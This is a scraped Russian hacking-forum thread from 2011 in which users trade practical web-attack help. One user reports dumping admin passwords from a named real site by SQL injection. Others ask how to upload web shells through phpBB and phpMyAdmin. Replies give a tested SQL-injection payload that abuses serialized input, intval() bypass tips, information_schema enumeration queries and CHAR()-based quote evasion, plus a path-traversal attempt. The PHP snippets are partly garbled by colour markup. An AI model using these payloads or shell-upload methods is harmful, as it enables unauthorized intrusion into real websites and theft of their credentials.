
09.08.2011, 04:25
|
|
Новичок
Регистрация: 15.05.2010
Сообщений: 0
С нами:
8417113
Репутация:
0
|
|
Сообщение от Osstudio
Какой прогой можно сниффить программы автоматического проведения SQL Injection?!
Charles.
|
|
|

09.08.2011, 16:36
|
|
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
С нами:
9642449
Репутация:
606
|
|
Где-то читал, что с какой-то версии php нуллбайт в файловых функциях(чтение, инклюд, запись, аплоад) больше не работает.
Так ли это? Если да, то с какой именно версии?
|
|
|

09.08.2011, 16:58
|
|
Познающий
Регистрация: 25.10.2007
Сообщений: 46
С нами:
9761387
Репутация:
2
|
|
Тут вопрос такой)
http://www.gilmanpastor.com/admin/login.php
Достал через скуль мыльники и пассы админов...
Но войти не могу в админку...
Что за третее поле не могу понять
пост параметр byteme
что в него вводить хз) в бд ничего не нашол = \
|
|
|

09.08.2011, 20:30
|
|
Познающий
Регистрация: 03.03.2011
Сообщений: 51
С нами:
7997366
Репутация:
0
|
|
Есть ли тут скуль? И можно ли в наше время обойти intval() и просто одинокий (int)?
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]$albumID[/COLOR][COLOR="#007700"]= (int)[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'act_album'[/COLOR][COLOR="#007700"]];
if ([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'update'[/COLOR][COLOR="#007700"]]){
[/COLOR][COLOR="#0000BB"]check_admin_referer[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'ngg_album'[/COLOR][COLOR="#007700"]);
if ([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'newalbum'[/COLOR][COLOR="#007700"]]){
[/COLOR][COLOR="#0000BB"]$newalbum[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]attribute_escape[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'newalbum'[/COLOR][COLOR="#007700"]]);
[/COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$wpdb[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"INSERT INTO[/COLOR][COLOR="#0000BB"]$wpdb[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]nggalbum[/COLOR][COLOR="#DD0000"](name, sortorder) VALUES ('[/COLOR][COLOR="#0000BB"]$newalbum[/COLOR][COLOR="#DD0000"]','0')"[/COLOR][COLOR="#007700"]);
if ([/COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]nggGallery[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]show_message[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]__[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'Update Successfully'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'nggallery'[/COLOR][COLOR="#007700"]));
}
if ([/COLOR][COLOR="#0000BB"]$albumID[/COLOR][COLOR="#007700"]>[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]){
[/COLOR][COLOR="#FF8000"]// get variable galleryContainer
[/COLOR][COLOR="#0000BB"]parse_str[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'sortorder'[/COLOR][COLOR="#007700"]]);
if ([/COLOR][COLOR="#0000BB"]is_array[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$gid[/COLOR][COLOR="#007700"])){
[/COLOR][COLOR="#0000BB"]$serial_sort[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]serialize[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$gid[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$wpdb[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"UPDATE[/COLOR][COLOR="#0000BB"]$wpdb[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]nggalbum[/COLOR][COLOR="#DD0000"]SET sortorder = '[/COLOR][COLOR="#0000BB"]$serial_sort[/COLOR][COLOR="#DD0000"]' WHERE id =[/COLOR][COLOR="#0000BB"]$albumID[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"]);
} else {
[/COLOR][COLOR="#0000BB"]$wpdb[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"UPDATE[/COLOR][COLOR="#0000BB"]$wpdb[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]nggalbum[/COLOR][COLOR="#DD0000"]SET sortorder = '0' WHERE id =[/COLOR][COLOR="#0000BB"]$albumID[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"]);
}
[/COLOR][COLOR="#0000BB"]nggGallery[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]show_message[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]__[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'Update Successfully'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'nggallery'[/COLOR][COLOR="#007700"]));
}
}
[/COLOR][/COLOR]
|
|
|

09.08.2011, 23:11
|
|
Познающий
Регистрация: 06.03.2007
Сообщений: 59
С нами:
10095779
Репутация:
137
|
|
Сообщение от ne0k
Есть ли тут скуль? И можно ли в наше время обойти intval() и просто одинокий (int)?
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]$albumID[/COLOR][COLOR="#007700"]= (int)[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'act_album'[/COLOR][COLOR="#007700"]];
if ([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'update'[/COLOR][COLOR="#007700"]]){
[/COLOR][COLOR="#0000BB"]check_admin_referer[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'ngg_album'[/COLOR][COLOR="#007700"]);
if ([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'newalbum'[/COLOR][COLOR="#007700"]]){
[/COLOR][COLOR="#0000BB"]$newalbum[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]attribute_escape[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'newalbum'[/COLOR][COLOR="#007700"]]);
[/COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$wpdb[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"INSERT INTO[/COLOR][COLOR="#0000BB"]$wpdb[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]nggalbum[/COLOR][COLOR="#DD0000"](name, sortorder) VALUES ('[/COLOR][COLOR="#0000BB"]$newalbum[/COLOR][COLOR="#DD0000"]','0')"[/COLOR][COLOR="#007700"]);
if ([/COLOR][COLOR="#0000BB"]$result[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]nggGallery[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]show_message[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]__[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'Update Successfully'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'nggallery'[/COLOR][COLOR="#007700"]));
}
if ([/COLOR][COLOR="#0000BB"]$albumID[/COLOR][COLOR="#007700"]>[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]){
[/COLOR][COLOR="#FF8000"]// get variable galleryContainer
[/COLOR][COLOR="#0000BB"]parse_str[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'sortorder'[/COLOR][COLOR="#007700"]]);
if ([/COLOR][COLOR="#0000BB"]is_array[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$gid[/COLOR][COLOR="#007700"])){
[/COLOR][COLOR="#0000BB"]$serial_sort[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]serialize[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$gid[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$wpdb[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"UPDATE[/COLOR][COLOR="#0000BB"]$wpdb[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]nggalbum[/COLOR][COLOR="#DD0000"]SET sortorder = '[/COLOR][COLOR="#0000BB"]$serial_sort[/COLOR][COLOR="#DD0000"]' WHERE id =[/COLOR][COLOR="#0000BB"]$albumID[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"]);
} else {
[/COLOR][COLOR="#0000BB"]$wpdb[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"UPDATE[/COLOR][COLOR="#0000BB"]$wpdb[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]nggalbum[/COLOR][COLOR="#DD0000"]SET sortorder = '0' WHERE id =[/COLOR][COLOR="#0000BB"]$albumID[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"]);
}
[/COLOR][COLOR="#0000BB"]nggGallery[/COLOR][COLOR="#007700"]::[/COLOR][COLOR="#0000BB"]show_message[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]__[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'Update Successfully'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]'nggallery'[/COLOR][COLOR="#007700"]));
}
}
[/COLOR][/COLOR]
то на сколько я понимаю у тебя уязвимость в переменной $albumID так как она никак не фильтруется, следовательно можно выполнить SQL-инекцию
|
|
|

10.08.2011, 00:47
|
|
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
С нами:
9846041
Репутация:
1177
|
|
Сообщение от winstrool
то на сколько я понимаю у тебя уязвимость в переменной $albumID так как она никак не фильтруется, следовательно можно выполнить SQL-инекцию
Хе-хе, ты ошибаешься.
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]$albumID[/COLOR][COLOR="#007700"]= (int)[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'act_album'[/COLOR][COLOR="#007700"]];
[/COLOR][/COLOR]
В переменную albumID не попадет ничего кроме чисел.
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]$newalbum[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]attribute_escape[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'newalbum'[/COLOR][COLOR="#007700"]]);[/COLOR][/COLOR]
Если я правильно нагуглил эту ф-цию из WP, то и тут тоже скули нету.
Сообщение от ne0k
И можно ли в наше время обойти intval()
intval() можно обойти только если он присутствует в условии, к примеру такой код:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]
[/COLOR][/COLOR]
Exp: .php?id=123'
Return: 123'
Если наш параметр начинает с числа, то intval() пропустит и в самом запросе переменная уже не фильтруется => SQL-inject возможен при таком условии.
С is_numeric такое не прокатит.
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if ([/COLOR][COLOR="#0000BB"]is_array[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$gid[/COLOR][COLOR="#007700"])){
[/COLOR][COLOR="#0000BB"]$serial_sort[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]serialize[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$gid[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$wpdb[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"UPDATE[/COLOR][COLOR="#0000BB"]$wpdb[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]nggalbum[/COLOR][COLOR="#DD0000"]SET sortorder = '[/COLOR][COLOR="#0000BB"]$serial_sort[/COLOR][COLOR="#DD0000"]' WHERE id =[/COLOR][COLOR="#0000BB"]$albumID[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#007700"]);
[/COLOR][/COLOR]
А вот здесь вот провести SQL-inject вполне возможно...
При условии что $gid можно манипулировать или переопределить через register_globals.
Вот проверил на локалке с таким кодом:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]
[/COLOR][/COLOR]
Exp: test.php?id[]=asd";}'+WHERE+id=1--+
Return: UPDATE SET sortorder = 'a:1:{i:0;s:21:"asd";}' WHERE id=1-- ";}' WHERE id = 1
Need:magic_quotes=off
Комментом мы обрезали оставшийся кусок и в принципе должно работать...
|
|
|

10.08.2011, 00:51
|
|
Познающий
Регистрация: 25.10.2007
Сообщений: 46
С нами:
9761387
Репутация:
2
|
|
Народ) 2 вопроса...
Вообщем первый по phpbb 3.0.7-PL1 залитие шелла через админ панель
Де то вычитал способ через востановление бд.. но тут трабла
Захожу в Maintenance
----------
Database>
Restore
Получаю текст
Сообщение от None
This will perform a full restore of all phpBB tables from a saved file. If your server supports it you may use a gzip or bzip2 compressed text file and it will automatically be decompressed. WARNING This will overwrite any existing data. The restore may take a long time to process please do not move from this page till it is complete. Backups are stored in the store/ folder and are assumed to be generated by phpBB’s backup functionality. Restoring backups that were not created by the built in system may or may not work.
Код:
There are no items yet.
т.е. как я понял востановить бд нельзя...
Просто есть пару админок пхпбб) незнаю как залить шелл... = \
2. Вопрос...и совершенно другой хост
Вообщем есть скуль... читение фалов через скуль и т.д. но только через CHAR. Как я понял safe_mode ON
Так же есть доступ к PMA, знаю полный путь к папкам доступным на запись... подскажите как залить шелл...
просто не сталкивался с safe_mode ON
|
|
|

10.08.2011, 17:22
|
|
Познающий
Регистрация: 03.03.2011
Сообщений: 51
С нами:
7997366
Репутация:
0
|
|
инклуд не инклуд
Наткнулся на код, в котором значение из $_GET напрямую передается в класс PhpThumbFactory::create.. В этом классе происходит проверка на валидность входного IMG файла.. Т.е, если я подставляю:
?filename=/../../1.jpg , отображается соответственно сама картинка, находящаяся в корне.. При попытке прочитать реальную JPG, GIF, PNG, читается из любого места.. А вот прочитать файл другого формата не удается, все это проверяется, и мозгов у меня пока не хватает, чтобы сделать какие либо выводы..
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]resize[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$width[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$height[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]$thumb[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]show[/COLOR][COLOR="#007700"]();
[/COLOR][COLOR="#0000BB"]$thumb[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]destruct[/COLOR][COLOR="#007700"]();
[/COLOR][COLOR="#0000BB"]?>
[/COLOR][/COLOR]
Существуют ли методы обхода, или как можно заставить PHP код выполниться в реальном IMG файле? И вообще, уязвимость ли это, или просто фича?
php 5.3.6
З.ы.:magic_quotes_gpc=Off,
З.ы.ы.: Проверка идет по mime типу и еще по нескольким параметрам..
|
|
|

10.08.2011, 18:58
|
|
Познающий
Регистрация: 28.06.2010
Сообщений: 91
С нами:
8354486
Репутация:
5
|
|
Есть Бд с именем fotoforum
Делаю запрос
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]table_name[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]from[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]information_schema[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]tables[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]where[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]table_schema[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]fotoforum[/COLOR][/COLOR]
Он возвращает ответ Unknown column 'fotoforum' in 'where clause' Как это понять??
|
|
|

10.08.2011, 23:13
|
|
Познающий
Регистрация: 03.03.2011
Сообщений: 51
С нами:
7997366
Репутация:
0
|
|
Сообщение от .:GOGA:.
Есть Бд с именем fotoforum
Делаю запрос
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]table_name[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]from[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]information_schema[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]tables[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]where[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]table_schema[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]fotoforum[/COLOR][/COLOR]
Он возвращает ответ Unknown column 'fotoforum' in 'where clause' Как это понять??
Нужно так:
Код:
SELECT+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA='fotoforum'
Если же фильтруются кавычки, можно зачарить:
Код:
SELECT+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=CHAR(102,111,116,111,102,111,114,117,109)
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|